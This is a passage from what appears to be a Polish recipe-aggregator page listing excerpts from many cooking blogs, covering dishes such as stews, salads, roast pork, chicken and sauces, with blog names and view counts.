złoto. Zdejmujemy placuszki z patelni, układając je na ręczniku papierowym i podajemy od razu na gorąco z ziemniaczkami i surówką warzywną, można podawać je na zimno np. z sosem czosnkowym. Smacznego! The post Siekane kotlety z kurczaka z papryką appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Sałatka z ryżem i tuńczykiem 192

sałatkę z ryżem, tuńczykiem i kilkoma innymi warzywami. Szybka, łatwa do przygotowania, sycąca i kolorowa, czego chcieć więcej ;) Składniki: 100 g ryżu ugotowanego na sypko 1 puszka tuńczyka w sosie własnym 0,5 dużej czerwonej papryki 3-4 ogórki konserwowe 2 małe cebule dymki mały pęczek szczypiorku  1 mała puszka kukurydzy z groszkiem 2-3 łyżki majonezu sól, pieprz

Simply Food
Zapiekane ziemniaki z grzybami i cebulą / Potato mushroom and onion bake 205

Dziś przedstawiam kolejną propozycję świetnego dodatku do każdego dania głównego zamiast klasycznych ziemniaczków. Ziemniaki zapieczone z grzybami i podsmażoną cebulką w sosie śmietanowym, pod warstwą parmezanu. Po prostu przepyszne! Zapraszam po przepis. Scroll down for recipe in English Zapiekane ziemniaki z grzybami i cebulą (4 porcje) Składniki: 250 g pieczarek, pokrojonych w plasterki lub ćwiartki 2 ząbki czosnku, pokrojone

karmelowy
Zrazy z mięsa mielonego z kolorowym środkiem 160

możemy go przełożyć do zrazów. Dodajemy liście laurowe i ziele angielskie. Doprawiamy solą i pieprzem. Mięso dusimy na wolnym ogniu przez 20 minut. Pod koniec zrazy wyjmujemy z garnka. Sos zagęszczamy wodą z mąką. Przekładamy z powrotem roladki i dusimy kilka minut

VioletoweKucharzenie
Sznycle z indyka w kremowym sosie z pomidorami i boczkiem 138

Kolejna wariacja na temat kremowego sosu z suszonymi pomidorami, który lubię robić z różnym mięsem i dodatkami. Były już piersi z kurczaka i polędwiczka. Tym razem na obiad miały być sznycle z indyka, a całość dania wzbogacona o koktajlowe pomidory i posypkę z boczku. Wyszło jak zawsze pysznie i bardzo kolorowo. Czytaj więcej

Bernika - moj kulinarny pamietnik
Schab z wolnowaru przekladany serem i boczkiem z sosem pieczarkowym 213

zmienia właściciela, a na moim blacie zagościło nowe, eleganckie, białe cudo. W niedzielę był pierwszy test. Przygotowałam w nim pysznych schab zapiekany z serem i boczkiem. Do tego kremowy sos pieczarkowy i powstał obiad z jak najlepszej restauracji. A o nowym wolnowarze Crockpot DuraCeramic przeczytacie poniżej. Czytaj więcej

Bernika - moj kulinarny pamietnik
ZUPA BROKUŁOWO-SELEROWA 198

truflową. SKŁADNIKI 50 g masła lub oleju/oliwy 1 mały brokuł 1/4 selera  1 ziemniak 1 cebula 3 ząbki czosnku 750 ml gorącego bulionu lub wody z 2 łyżkami sosu sojowego PRZYPRAWY: sól, świeżo zmielony czarny pieprz, 1/2 łyżeczki: suszonego oregano i lubczyku, curry w proszku, szczypta chili w proszku lub płatkach opcjonalnie 100 ml śmietany 30% DO PODANIA: tarty

cool and minty
Kopytka 232

stykały ze sobą) i wstawiamy do zamrażarki. Zamrożone przekładamy do woreczków (specjalnych do mrożonek) i ponownie wkładamy do zamrażarki. Kopytka można podać jako samodzielne danie, np. polane ulubionym sosem, okraszone masłem lub z cebulką i skwarkami, albo jako dodatek do mięs, gulaszu… i nie tylko. Odsmażone na drugi dzień też mają zwolenników i nic nie tracą ze swoich walorów smakowych

mojewypiekiinietylko
gulasz z karkówki z pieczarkami, ogórkiem kiszonym... 150

ogórki kiszone, wymieszać. Wlać wodę i pod przykryciem dusić do miękkości mięsa, dodać pieprz ziołowy, papryki. Śmietanę, mąkę, wodę wymieszać i wlać do gulaszu, mieszać do zagotowania i zagęszczenia sosu - gulasz z karkówki jest pysznym daniem obiadowym czy kolacyjnym, po dodaniu różnych dodatków nabiera smaku i aromatu, smakuje z ziemniakami,kaszami,kluskami,pieczywem.........SMACZNEGO

W Mojej Kuchni Lubię
Zapiekanka "zielono mi" 171

stratą mozzarellą.  3. Pieczemy w 180 stopniach około 25 minut. Po wyjęciu posypujemy szczypiorkiem.  Smacznego :-) Do zapiekanki możemy dodać kurczaka, lub inne mięso czy rybę. Podajemy z sosem czosnkowym lub innym ulubionym

kruche babeczki
Ziemniaki pieczone jak z ogniska 214

się upiekły wbijając w nie wykałaczkę. Jak wchodzi bez problemu ziemniaki są gotowe !   Ja tak przygotowane ziemniaki podałam do karczku który przygotowałam w wolnowarze, ale sądzę że do sosu czosnkowego też byłyby genialne ! Ziemniaki pieczone jak z ogniska

Kuchnia na wzgórzu
Curry jalfrezi z kurczaka 159

dodajemy drobno pokrojone słodkie papryki i pomidory, doprawiamy do smaku solą, cynamonem i ewentualnie cukrem i dusimy na niewielkim ogniu około 10 minut. Jogurt rozrabiamy z dwiema łyżkami powstałego sosu, dodajemy do mięsa i dusimy kolejne 5 minut. Kurczak jalfrezi  najlepiej smakuje z ryżem basmati lub z czerwonym ryżem, który widzicie na zdjęciach. Również chleb naan świetnie pasuje curry

Kulinaria - potrawy z różnych stron świata
Schab pieczony w kapuście kiszonej 166

zdania, że jemy również oczami i zawsze staram się, żeby to co jemy wyglądało naprawdę przyzwoicie. Zajrzyj również tutaj: Schab duszony faszerowany pistacjami i suszonymi pomidorami Schab duszony w sosie Schab pieczony z warzywami Schab pieczony z pesto i suszonymi pomidorami Mięso jest idealnie upieczone i przesiąknięte doskonałym smakiem warzyw. Kapusta kiszona jest w tym daniu zdecydowaną królową. Pysznie kwaśna

MamaOskarka
Pierś z kurczaka nadziana porem i serem 148

nagrzanym do 180 stopni przez około 25-30 minut. Podawać z ulubionymi dodatkami. Ja podałam z kaszą bulgur, smażoną kapustą pak choi, z groszkiem cukrowym, pieczarkami, czosnkiem z dodatkiem sosów orientalnych. Smacznego Pierś z kurczaka nadziana porem i serem Pierś z kurczaka nadziana porem i serem Pierś z kurczaka nadziana porem i serem Artykuł Pierś z kurczaka nadziana porem

Smaki Armine
Domowe nachos - pieczone 163

wałkujemy. Wykrawamy z nich trójkąty, które następnie układamy na dużej blasze wyłożonej papierem do pieczenia. Pieczemy w piekarniku nagrzanym do 200°C przez 15 minut. Podajemy z ulubionymi sosami (np. guacamole

Qchnia po prostu
Łosoś w zielonym sosie 168

Składniki 350 g świeżego łososia 400 g mrożonego szpinaku 150 ml śmietany kremówki 2 łyżki wiórek masła sól, pieprz sok z 1 cytryny … Czytaj dalej Łosoś w zielonym sosie

gotuj ze mną
Biała kiełbasa w sosie chrzanowym wg Marioli 142

zielem angielskim. Dodajemy chrzan i musztardę, zagęszczamy mąką rozrobioną w zimnej wodzie. Zagotowujemy i zabielamy śmietaną. Kiełbasę gotujemy w 80°C przez 30 min. Kroimy na kawałki. Dodajemy do sosu, gotujemy jeszcze przez kilka minut. Do smaku doprawiamy solą i pieprzem. Podajemy z ziemniakami i ogórkiem kiszonym

R'n'G Kitchen
Łopatka jagnięca z piekarnika - uczta smaków 173

piekarnika nagrzanego do 250' C i piec 10 minut po tym czasie zmniejszyć temperaturę do 160' C i piec 2 godziny pod przykryciem w miedzyczasie można podlać kilkakrotnie sosem. 20 minut przed końcem pieczenia zdjąć pokrywę i piec odkryte mięso do zrumienienia upieczone mięso kroić gdy "odpocznie" po około 10 minutach

Gotuj zdrowo!Guten Appetit!
Schab pieczony - soczysty i kruchy. 203

sposób moje mięsko będzie mieć chrupiącą skórkę.    M ięso możesz podawać do drugiego dania, wystarczy , że go pokroisz na porcje i polejesz ulubionym sosem. Możesz też wystudzić i dodawać go na kanapki. Mięso to jest soczyste, kruche, nie czuć w nim octu ( nie jest kwaśne ). Mięso to jest smaczne i zdrowsze od mięsa wędzonego i marynowanego w roztworze

Przepisy i porady kulinarne
Łatwe kotlety jajeczne 199

klasycznych mielonych lub schabowych, polecam Ci kotlety jajeczne Przepis pochodzi z TalerzPokus.tv ( filmik ) . To prosty i niedrogi sposób na smaczny obiad. Świetnie pasuje do nich surówka, sałatka obiadowa lub sos Składniki: 5 jaj ugotowanych na twardo 1 świeże jajo 2-3 łyżki bułki tartej + do obtoczenia szczypiorek sól i pieprz olej do smażenia   Obłupione jajka wrzuć do miski

Kulinarne S.O.S.
Kluski śląskie (bez jajka) 176

pomocy łyżki cedzakowej.   1 kg ziemniaków wystarczy na ok. 3 porcje.   Kluski możesz podawać… z bułką tartą zrumienioną na maśle, ze smażoną cebulką lub skwareczkami, z sosem pieczeniowym, mięsnym, pieczarkowym, grzybowym, pomidorowym, koperkowym, zrazami, pulpetami, duszonymi pieczarkami lub warzywami.   Rady: 1. Ugotowane i ostudzone kluski można mrozić. Najlepiej zamrozić je ułożone na tacy/deseczce, a później przesypać

Kulinarne S.O.S.
Kuskus z kalafiora – gotowy w 15 minut i fit! 238

dukkah. Skorzystajcie z TEGO przepisu – pasuje idealnie! Pozostałą połowę kuskusu schłodziłam, dodałam do niej kolejne 4 łyżki posiekanej natki, posiekaną miętę, małą puszkę ciecierzycy, pół długiego ogórka i cytrynowy sos winegret – w sezonie dorzuciłabym też świeże pomidory, w zimie było to bez sensu. Sałatka na drugi dzień na śniadanie lub lunch do pracy gotowa!   Mogłoby się wydawać, że skoro

Karo in the Kitchen
Salsa z ogórków kiszonych 109

poszatkowanego koperku pół łyżeczki miodu sól pieprz 1 łyżka oliwy extra virgin Ogórki i cebulę roimy w drobną kostkę. Miód mieszamy z oliwą i przyprawami. Do miski wrzucamy ogórki, sos i poszatkowany koperek. Wkładamy do lodówki

Kardamonovy
Sałatka z falafelem i granatem 140

mnie nie pociągały. Postanowiłem jednak je odczarować i przygotować taką sałatkę, którą sam chętnie bym zjadł. Dzisiejsza propozycja, to sałatka z falafelem i granatem , czyli sałatka arabska, skąpana w sosie tahini Falafelki można kupić gotowe lub przygotować samemu. Pieczony falafel z pewnością będzie najzdrowszą opcją, a według mojego przepisu robi się go szybko, co w dzisiejszych czasach jest dosyć istotne

Blendman
Fit przekąska - Chipsy z czerwonej soczewicy z bazylią i pomidorami 197

pół łyżeczki pieprzu cayenne  1 łyżeczka octu jabłkowego  2 łyżeczki słodkiej papryki mielonej  1 łyżeczka wędzonej papryki  garść świeżej bazylii  1 łyżeczka jasnego sosu sojowego  1/4 szklanki wody  Wykonanie :  1. Soczewicę moczymy w zimnej wodzie przez ok 6 godzin, u mnie cała noc. Odsączamy na sicie i  umieszczamy w misce

vaniliowoczekoladowa
Mini serniczki na spodzie migdałowym 213

lekko dociskając. Tak przygotowane wkładamy na przynajmniej 2h do zamrażarki aby stężały i można było je łatwiej wyjąć z foremki. Gotowe serniczki przechowujemy w lodówce. Podajemy najlepiej z dwoma sosami jeden lekko kwaskowaty z owoców leśnych a drugi słodki przykładowo z mango i marakui. Ps. Dziękuję Restauracji Styl 70  , szefowi kuchni Wojtkowi Krzak oraz jego zespołowi  za możliwość

Mechanik w kuchni
Pręga wołowa z wolnowara 203

Zainspirowani daniem podawanym w Koreatown, postanowiliśmy zjeść kawałek mięciutkiej i „poszarpanej” wołowiny czyli pulled beef. I konkretnie w bardzo koreańskim smaku. Wiadomo – do

slodkokwasnapl
Jajka sadzone na cukinii i papryce 160

spieszno, że takie śniadania mi ją przybliżają.  Wiosenne,  bez mięsa czyli dla każdego. Składniki : mała cebulka  1/2 papryki  1/2 niedużej cukinii 2 jajka 1 łyżeczka sosu sojowego 1 łyżeczka papryki słodkiej 1 łyżeczka Jarzynki  1 łyżeczka oleju Przygotowanie : cebulę pokroić w kostkę i podsmażyć delikatnie na patelni z olejem  cukinię i paprykę pokroić

Gotowanie z pasją
Jajka sadzone na cukinii i papryce 179

spieszno, że takie śniadania mi ją przybliżają.  Wiosenne,  bez mięsa czyli dla każdego. Składniki : mała cebulka  1/2 papryki  1/2 niedużej cukinii 2 jajka 1 łyżeczka sosu sojowego 1 łyżeczka papryki słodkiej 1 łyżeczka Jarzynki  1 łyżeczka oleju Przygotowanie : cebulę pokroić w kostkę i podsmażyć delikatnie na patelni z olejem  cukinię i paprykę pokroić

Gotowanie z pasją
Jedzonko do pracy #70 182

taki zestaw!  Śniadanie: Muffinki jajeczne z różnymi dodatkami (papryka, pomidor, szynka i ser) podobne do tych  z tego przepisu . Lunch: Azjatyckie klopsiki w pikantnej glazurze na bazie sosu sriracha na brązowym ryżu oraz surówka z czerwonej kapusty . Smacznego

Codzienne Gotowanie
Pieczony kurczak nadziany warzywami z pęczakiem z nuta ostrości 183

kaszę pęczak w lekko osolonej wodzie. Pęczak mieszamy z warzywami, które luźno piekły się koło kurczaka (warzywa wyjmujemy za pomocą łyżki cedzakowej, można dodać ok. 2-3 łyżki powstałego sosu) oraz z posiekanym koperkiem

Moniki Smakołyki
Schab w sosie cebulowo pieczarkowym 208

Schab jest niezwykle kruchy. W daniu zdecydowanym smakiem jest aromat cebuli, pieczarek i śmietanki. Całość stworzyło smaczny obiad. Idealny – ponieważ w jednym daniu mamy mięso i sos.  600 g schabu wieprzowego Sól Pieprz Przyprawa do mięsa Musztarda sarepska (do smarowania) 1 duża cebula ½ pora (biała część) 250 g pieczarek 4 szklanki wody 1 liść laurowy 3 ziarna ziela angielskiego

VioletoweKucharzenie
„Piekielne” krewetki 172

papryczek piri – piri, tym bardziej „piekielne” będą nasze krewetki ). Gdy krewetki delikatnie zmiękną dorzucamy do nich posiekane składniki, zalewamy winem i dusimy do momentu odparowania wina i zgęstnienia naszego sosu. W razie potrzeby można dodać jeszcze trochę masła. Składniki do bagietki: - 2 średniej wielkości bagietki - 1 łyżka masła - ser mozzarella - 1 ząbek czosnku - przyprawy (majeranek, kminek mielony) Masło rozdrabniamy

Związek na patelni
Zimowy dorsz Skrei w papilotach 173

każdego papieru ułożyć szpinak, plastry cukinii i oliwki. Posypać solą i pieprzem, polać  1/2 łyżki oliwy. Na wierzchu ułożyć rybny filet. Każdy z filetów polać niewielką ilością przygotowanego sosu, resztę zostawić do podania. Zamknąć szczelnie pakunki, najpierw papier złożyć na pół, przykrywając zawartość, a następnie starannie pozawijać brzegi, aby pakunki były szczelne. Tak samo postąpić z folią. Tak przygotowane

Stare Gary
Surówka z czerwonej kapusty z kukurydzą 257

popularnością. Jeśli jeszcze nie próbowaliście takiej wersji, to szczerze polecam. Prosta, pyszna, w sam raz do drugiego dania. Ja bardzo często podaję ją np. do pulpecików w sosie pomidorowym . Spróbujcie. Surówka z czerwonej kapusty z kukurydzą – pyszna surówka do obiadu Składniki: pół główki czerwonej kapusty 1 jabłko 2 małe lub 1 większa marchewka 1 czubata łyżka posiekanego koperku

Słodkie okruszki
Chrupiące gofry 208

kratce (jeśli takiej nie mamy, użyjmy rusztu od piekarnika) lub na pionowo (nigdy na talerzu, muszą mieć dostęp powietrza z obu stron). Podajemy z cukrem pudrem, bitą śmietaną, ulubionym sosem, dżemem lub owocami. Post Chrupiące gofry pochodzi z bloga Poezja smaku

Poezja smaku
Spaghetti z bazyliowym pesto 133

wkładamy listki bazylii. Dodajemy obrany czosnek, pokrojony na mniejsze kawałki. Dodajemy także starty grana padano oraz oliwę z oliwek i migdały. Miksujemy stopniowo. Pesto ma mieć konsystencję gęstego sosu, a kawałki mają być delikatnie wyczuwalne. Nie blendujemy na gładką masę. Jeśli będzie zbyt gęsta, dolewamy więcej oliwy. W razie potrzeby dodajemy nieco soli. Miksujemy ponownie. Ugotowany makaron odcedzamy

Moja smaczna kuchnia
Zrazy z karkówki wg Aleex 167

wodzie. 9. Wodą zalać zrazy w rondlu, powinno jej być tyle, by mięso było przykryte. Gotować zrazy na małym ogniu około 1 godziny. 10. Po tym czasie sprawdzić konsystencję sosu. Jeśli nam odpowiada, zostawić. Gdyby był zbyt rzadki, lekko zagęścić go mąką. 11. Podawać z ziemniakami lub kaszą i wyrazistą surówką. Smacznego

W mojej kuchni
Sól ziołowa (domowa) 136

Sól ziołowa to wspaniała przyprawa – jedna z moich ulubionych. Świetna do dań smażonych, gotowanych (zup, sosów, gulaszy) , pieczonych (mięs, zapiekanek) oraz potraw z grilla. Te ze sklepowych półek zawierają różnorodną ilość ziół i przypraw (zależnie od producenta) . Lecz tym razem zamiast kupić, postanowiłam zrobić taką samodzielnie wybierając mieszankę swoich ulubionych dodatków Składniki: 100 g soli gruboziarnistej np. himalajskiej

Kulinarne S.O.S.
Pikantny makaron z wędzonym łososiem i suszonymi pomidorami 197

robimy całą resztę i potem tylko mieszamy. Tym bardziej uwielbiam taki makaron jeśli jest w nim wędzony łosoś – słony, wyrazisty, wyczuwalny w każdym kęsie. Do tego kremowy sos z pikantną nutą domowej przyprawy – polecam ją gorąco, nie tylko do tego makaronu. Składniki (na 2 porcje): 200g makaronu kokardki 150g wędzonego łososia 6 suszonych pomidorów z oliwy

Smaczna Strona
Pałki kurczaka z sezamem i pomarańczą 157

zamarynować kilka godzin wcześniej, wtedy będzie wyjątkowo smaczne. Dodana pomarańcza pod koniec pieczenia sprawia ,że aromat i smak dania jest wyjątkowy. Składniki 6-8 pałek z kurczaka 4 łyżki sosu sojowego 3 łyżki oleju sól,pieprz 4 łyżki sezamu 1-2 pomarańcze 2-3 ząbki czosnku Pałki … Czytaj dalej Pałki kurczaka z sezamem i pomarańczą

gotuj ze mną
Piątek: Kurczak escabeche z winogronami i jabłkiem 161

kontrowane przez słodycz innych składników, np. winogron, czy, jak w naszym przepisie, jabłka. Pieczenie mięsa z winogronami to naprawdę kapitalny pomysł. Owoce nawilżają mięso i stanowią podstawę pysznego sosu. Na naszym blogu znajdziecie przepis na kurczaka w winogronach, który serdecznie polecamy. W kurczaku escabeche, oprócz winogron występuje też jabłko – owoc kojarzony zazwyczaj z kaczką doskonale czuje się w towarzystwie

Niedzielny kucharz
Limonkowy kurczak 139

naszych supermarketów, Patak’s ma w ofercie pikle limonkowe, mango i moje ulubione pikle czosnkowe. Używam ich często do kanapek, mięs, ale są tez świetnym składnikiem marynat i sosów. Dziś do mojej jogurtowej marynaty dodałam sporą ilość limonkowych pikli, dzięki czemu mój kurczak nabrał niesamowitego aromatu. Tak przygotowanego kurczaka możecie usmażyć, upiec lub położyć na grillu! LIMONKOWY KURCZAK PRZYGOTOWANIE

nietylkopasta.pl
Surówka z czerwonej kapusty z jabłkiem i marchewką 123

koperkiem. Wyszła w dechę.  Składniki: pół czerwonej kapusty 1 duża marchewka 1 duże jabłko mała czerwona cebula 2 łyżki jogurtu naturalnego 2 łyżki majonezu pęczek koperku pół łyżeczki sosu z cytryny sól pieprz Kapustę szatkujemy, wrzucamy do miski, chwilę ugniatamy. Dodajemy do niej pokrojoną w drobną kostkę cebulę, obrane i starte na dużych oczkach marchewkę i jabłko, poszatkowany koperek

Kardamonovy
5 zdrowych przekąsek na każdą imprezę 434

Tortille z kurczakiem i szynką Dla wielbicieli mięsa smaczną przekąską będą mini tortille. Poza kurczakiem, salami czy szynką do środka można dodać także serek śmietankowy z ziołami (lub ulubiony sos np. czosnkowy), sałatę, paprykę oraz pomidorki koktajlowe. Mini tortille to smakołyk, który zazwyczaj znika w mgnieniu oka z każdego talerza, a skomponowane ze świeżych warzyw będą dodatkowo wyjątkowo zdrowe

Kuchcik gotuje
Wegeburgery z fasoli z guacamole 159

czosnek przeciśnięty przez praskę oraz sok z limonki i ponownie wymieszać. Burgery: Bułki chwilkę podpiec w piekarniku. Każdą bułkę przekroić na pół i obie połowy posmarować wegańskim majonezem lub sosem jogurtowym . Następnie na jedną połowę nałożyć trochę zieleniny (roszponka, sałata, rukola, szpinak), gotowy kotlet, cienki plaster czerwonej papryki, plasterek czerwonej cebuli oraz trochę guacamole i przykryć drugą połową. Podawać lekko

Fitsweet.me
Bułkęs Katowice – przereklamowany lokal czy katowicki hit? 173

było w tym nic kompletnie nadzwyczajnego, co dawałoby poczucie, że to dobrze wydane trzy dychy. Ilość mięsa – ok, sporo, ale przy okazji ten smak zabijał wszystkie inne dodatki. Sosu niestety też za wiele nie było. Ogólnie największym minusem był stosunek ceny do jakości. 34zł to zdecydowanie za wysoko, szczególnie w Katowicach. W Warszawie w Barn Burger (uwierzcie

Czynniki pierwsze
Naleśniki zapiekane z kurczakiem i warzywami 185

naczyniu żaroodpornym. Jak zawiniemy wszystkie naleśniki, to posypujemy je mozzarellą i zapiekamy w 180 stopniach funkcja góra - dół przez około 25 minut. Po upieczeniu możemy podać z ulubionym sosem :-) Smacznego

kruche babeczki
Papryki faszerowane mięsem mielonym i ryżem 214

Papryki faszerowane mięsem mielonym i ryżem to idealny pomysł na obiad. Danie proste w wykonaniu, syte i pięknie się prezentuje. Listę potrzebnych składników oraz przepis przedstawiam

Kulinarnyblog.pl - wiesz jak gotować!
Wyśmienite koreczki na waflach ryżowych 129

Będą to najpiękniejsze i najbardziej dopieszczone koreczki świata! Sara unicestwiła całą bazylię w doniczce, bo nie potrafiła sprawnie poodrywać listków ,ale nic się nie dzieje. Rozszarpane zioło skończyło w sosie z pomidorów. Przygotowując te koreczki dziecko włożyło całą miłość jaką darzy wafle ryżowe. Składniki wafle ryżowe slim u mnie  KUPIEC świeży ogórek ser pleśniowy u mnie z niebieską pleśnią

Z Kuchni Do Kuchni
Restauracja Garden (Walentynkowo) 184

głównym był u mnie Wellington, foie grass i dynia. Oszałamiające doznanie smakowe. Wellington, rozpływający się w ustach... Niesamowita pozycja z menu. Chętnie zamówiłabym ją ponownie. Żebro Wagyu, batat i sos BBQ. Także robi niemałe wrażenie. Pyszne i gustownie podane. Zamówiłam nawet deser (choć normalnie ich nie jadam)! Składniki: czekolada, jeżyny, wanilia. Atrakcyjny wizualnie i smakowo. Różne, przenikające się struktury. Dodatek

Karola gotuje
PROJEKT ŚNIADANIE: Çilbir, czyli jajka po turecku 200

przepysznym śniadaniu kluczową rolę! :) Kremowa chmurka z jogurtu doprawionego czosnkiem i solą, a na niej mięciutkie, delikatne jajka w koszulce wypełnione płynną dobrocią w postaci żółtka. Całość oblana maślanym sosem chili, który wprowadza małe zamieszanie na podniebieniu i wreszcie świeży koperek, którego zapach jak nic innego przypomina mi ciepłe, wiosenne dni. Aby wprowadzić trochę różnorodności w teksturze, polecam ogromnie podać

Kuchnia w Słońcu Skąpana
Pożywka dla mózgu na dzień chorych na umyśle 175

świetle mainstreamu) święta, powiedzenia: Dać d..py za talerz zupy. Składniki: - soczewica zielona - soczewica czerwona - ziemniaki Wykonanie: Dwa rodzaje soczewicy gotujemy razem, aż ta czerwona się rozgotuje. Generalnie sos z rozgotowanej soczewicy to bardzo dobry patent, gdyż jest bardziej wartościowy od zasmażki i jednocześnie gotuje się znacznie szybciej niż groch. Podajemy z ugotowanymi ziemniakami

Kryzysowa Książka Kucharska
Francuska zupa cebulowa 172

wołowy, czy też z kury jest oczywiście intensywniejszy w smaku, co poprawi jakość zupy, ale świat się nie zawali gdy zastąpimy samą wodą. Francuzi lubią zupę wówczas dopieścić skondensowanym sosem wołowym. To samo dotyczy serów. Comté czy Gruyère są najwłaściwszymi w tym przypadku.Wszystko tak naprawdę zależy od tego co zawiera nasza spiżarka. Zapraszam! Przepisy do mojej zupy cebulowej poniżej: Francuska

Wino Francja Kuchnia
Wolnowar Crock-Pot – recenzja 227

metodą wolnego gotowania, a w zasadzie wolnego pieczenia zetknęłam się kilka lat temu, przy okazji “ Długo pieczonej karkówki w marynacie z wędzonej papryki z sosem majonezowo-paprykowym “. Pamiętam jakim zaskoczeniem dla wszystkich była informacja, iż pieczenie tej potrawy zajmuje 6-7 godzin (w piekarniku o temp. ok. 140°C). Jeszcze większym zaskoczeniem był efekt końcowy, czyli soczyste, delikatne

Moja Delicja
Frytki z piekarnika – frytki z batatów, ziemniaków i warzyw korzeniowych 237

Pyszne, zdrowe frytki z piekarnika, czyli frytki z batatów, ziemniaków, marchewki i pietruszki podawane z sosem czosnkowym na bazie jogurtu (lub z ketchupem). Aby przygotować frytki z piekarnika należy wszystkie warzywa pokroić w słupki jednakowej grubości. Dzięki temu wszystkie upieką się w tym samym czasie. W przeciwnym wypadku cieńsze frytki zrobią się szybciej, podczas gdy grubsze będą surowe w środku

Moja Delicja
Placuszki z chia na grahamce 150

placki tymi popularnymi i bardzo zdrowymi nasionami. Tym razem zrobiłam je z mąki grahamki. Placki są puszyste i pożywne. Lubimy je jeść z jogurtem wymieszanym z miodem i jagodowym sosem czy też dżemem. O tej porze używam często mrożonych jagód. Zasypuję je cukrem i gotuję kilka minut. Tak przyrządzone jagody są idealne do placków. Z przepisu poniżej wychodzi 10 puchatych

codojedzenia
Kurczak w musztardzie pieczony na ziemniakach 155

kurczaka się ładnie zarumieniła. [caption id="attachment_8047" align="aligncenter" width="685"] Kurczak w musztardzie[/caption] Zobacz inne przepisy na kurczaka: Skrzydełka W Miodzie I Keczupie Pieczony Kurczak W Sosie Teriyaki Kurczak Pieczony Na Kiszonej Kapuście Kurczak Na Warzywach Kurczak Pieczony Z Warzywami Kurczak Pieczony Z Ziemniakami Kurczak Po Hiszpańsku Artykuł Kurczak w musztardzie pieczony na ziemniakach pochodzi z serwisu

e-PrzepisyKulinarne
Sałatka jajeczna z tuńczykiem i kukurydzą 463

nieskomplikowaną, pyszną i tanią sałatkę. Idealna na świąteczny stół, kolację ze znajomymi czy lunch do pracy. Składniki na sałatkę z tuńczykiem i kukurydzą: 5 jajek puszka tuńczyka w sosie własnym (w kawałkach) 5 ogórków konserwowych puszka kukurydzy średni por 3-4 łyżki majonezu sól, pieprz Przygotowanie Jajka gotujemy na twardo, studzimy, obieramy i kroimy w drobną kostkę. Tuńczyka odsączamy

e-PrzepisyKulinarne
Cesarska kolorowa zapiekanka z łopatki i warzyw 238

Szukacie pomysłu na zagospodarowanie wieprzowej łopatki, a macie dość gulaszu czy pieczeni? Polecam pyszne i niestandardowe danie, czyli kolorową zapiekankę, łopatkę przekładaną warzywami w pysznym sosie. Danie eleganckie, syte, idealne na codzienny obiad, jak i obiad rodzinny, bardziej wystawny. Do tego proste i niedrogie. Źródło . Czytaj więcej

Bernika - moj kulinarny pamietnik
Makaron ze szpinakiem, ciecierzycą i zielonym groszkiem z aromatem suszonych pomidorów i mięty 157

szpinak zmniejszy swoją objętość, przyprawić ziołami, pieprzem i solą Po tym czasie zdjąć z ognia, dodać ciecierzycę, serek i wymieszać Dodać makaron i wymieszać, żeby pokrył się kremowym sosem Groszek odcedzić z wody i posypać nim gotowy makaron

HealthyCreations
Łatwa surówka ze słodkiej kapusty / Easy cabbage salad 180

czas nadrobić te zaległości. Ta surówka jest bezproblemową wersją świetnego dodatku do dań głównych, ze składników zazwyczaj dostępnych w każdym domu. Chrupiąca kapusta, starta marchewka i jabłko w sosie majonezowo-śmietanowym nie może się nie udać. Zapraszam po przepis! Scroll down for recipe in English Łatwa surówka ze słodkiej kapusty (4 porcje) Składniki: 1/4 główki kapusty, cieniutko poszatkowanej 1 jabłko

karmelowy
Szegediner (gulasz segedyński) – test garnka próżniowego Vacuum Pot Happycall 146

dolać trochę bulionu więcej. Doprawić solą i pieprzem. Gotowy gulasz podawać z kleksem śmietany. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Gulasz z łopatki i fasoli w sosie pomidorowym → Placek po węgiersku → Leczo z kiełbasą i cukinią → Lane kluski z boczkiem i gotowaną kiszoną kapustą z kminkiem → Pierogi z kapustą kiszoną, kminkiem i boczkiem

Oryginalny smak
Burgery z kurczakiem i surówką z czerwonej kapusty 158

pozostaje złożyć kanapkę . Oprócz surówki z czerwonej kapusty możecie wpakować w tego burgera dowolne dodatki. Ja położyłam na puszystą bułkę kurczaka, ogórki konserwowe, surówkę z czerwonej kapusty, ser mozzarella, sos z musztardy dijon i chrupiący bekon. Przyklepałam wszystko górną częścią bułki i jadłam nad wielkim talerzem, oczywiście ręce miałam brudne prawie po łokcie ale było warto zobaczyć uśmiech innych, równie

Słodkie Gotowanie
Makaron z soczewicy z kulką mozzarelli po włosku! 161

całość przesmaż przez 1 minutę. Na drugiej patelni na oliwie ułóż całe kulki mozzarelli, przesmaż chwilkę z każdej ze stron. Mięciutkie kulki mozzarelli wyłóż na środek talerza, do sosu powstałego ze smażenia mozzarelli dodaj całą zawartość pierwszej patelni i makaron, całość dokładnie wymieszaj.Ułóż dookoła sera, podawaj od razu, tak aby ser pozostał ciągnący się. Całość dania możesz skropić ulubionym

SMYKWKUCHNI
Strudel jabłkowy 162

lubi pozować. Lubi za to pomruki zadowolenia i zachwytu nad jego smakiem. I wcale nie bez powodu. Chrupiące z wierzchu ciasto kryje jabłkowe nadzienie, a dodatek lodów czy sosu waniliowego czyni każdy kęs prawdziwą ucztą. Strudel jabłkowy Składniki: ciasto: 150g mąki 75ml ciepłej wody 1/4 łyżeczki soli 2 łyżki oleju nadzienie: 1,5 kg jabłek (najlepiej szara reneta) 3 łyżki

Obiad gotowy
Curry z pieczarkami i ciecierzycą 197

mega zdrowe.  W ten zimowy wieczór przenieśmy się do gorrrącej Azji... Składniki na 3 porcje: 100 g surowej ciecierzycy 250 g pieczarek 1/2 puszki mleczka kokosowego 2 łyżki sosu sojowego 1 ząbek czosnku 1/2 cebuli Kumin Papryka słodka Papryka ostra Sól Kolendra Kurkuma 2 łyżki oliwy/olej sezamowy Przygotowanie: Ciecierzycę moczymy przez całą noc w zimnej wodzie. Następnie wylewamy wodę

Czarnawisienka
TARTE BURACZKI Z JABŁKIEM DO OBIADU 219

obiadowe.  Sałatka z tartych buraczków i jabłek. Buraczki doprawione chrzanem i sokiem albo octem jabłkowym. Najlepsze buraczki z jabłkiem do obiadu. Smaczne tarte buraczki ze schabowymi bitkami w sosie własnym lub gulaszem wieprzowym z papryką . Jak zrobić tarte buraczki z jabłkiem do obiadu? Najlepszy, domowy przepis, składniki, przyprawy i przygotowanie buraczków krok po kroku. Korzystajcie z przepisu i ulepszajcie

Moja Książka Kucharska
Pierś kurczaka pieczona z szynką dojrzewającą 132

